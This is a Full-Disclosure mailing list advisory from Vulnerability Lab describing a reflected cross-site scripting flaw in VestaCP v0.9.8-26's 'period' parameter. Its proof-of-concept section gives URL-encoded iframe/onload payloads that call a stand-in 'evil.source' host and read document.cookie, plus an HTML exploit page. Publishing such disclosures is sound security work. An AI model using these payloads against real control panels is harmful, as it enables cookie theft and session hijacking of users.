lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 9 Dec 2020 08:51:51 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] VestaCP v0.9.8-26 - (period) Cross Site Scripting Web
	Vulnerability

Document Title:
===============
VestaCP v0.9.8-26 - (period) Cross Site Scripting Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2239


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2239


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta
open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software
and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ &
https://vestacp.com/install/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting
web-application.


Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A non-persistent cross site vulnerability has been discovered in the
official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period`
parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution
occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability
is non-persistent on client-side.

Successful exploitation of the vulnerability results in session
hijacking, non-persistent phishing attacks, non-persistent external
redirects
to malicious source and non-persistent manipulation of affected
application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be
exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web
vulnerability follow the provided information and steps below to continue.


PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING
VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING
VULNERABILITY!]


PoC: Payloads
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E
%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E


PoC: Exploitation
<html>
<head><body>
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe
src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe
src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>
</body></head>
</html>


PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit
actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source"
onload="alert(document.cookie)"></iframe> -la.png"
target="_blank"&gt;download <i></i></a>
</div></div>
...	...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source"
onload="alert(document.cookie)"></iframe>-la.png"&gt;
</div>


Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/list/
https://vestacp.localhost:8083/list/rrd/


Solution - Fix & Patch:
=======================
The cross site web vulnerability can be resolved by an encode or escape
of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point
were the script code code executes.


Security Risk:
==============
The security risk of the cross site scripting web vulnerability in the
vesta cp web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists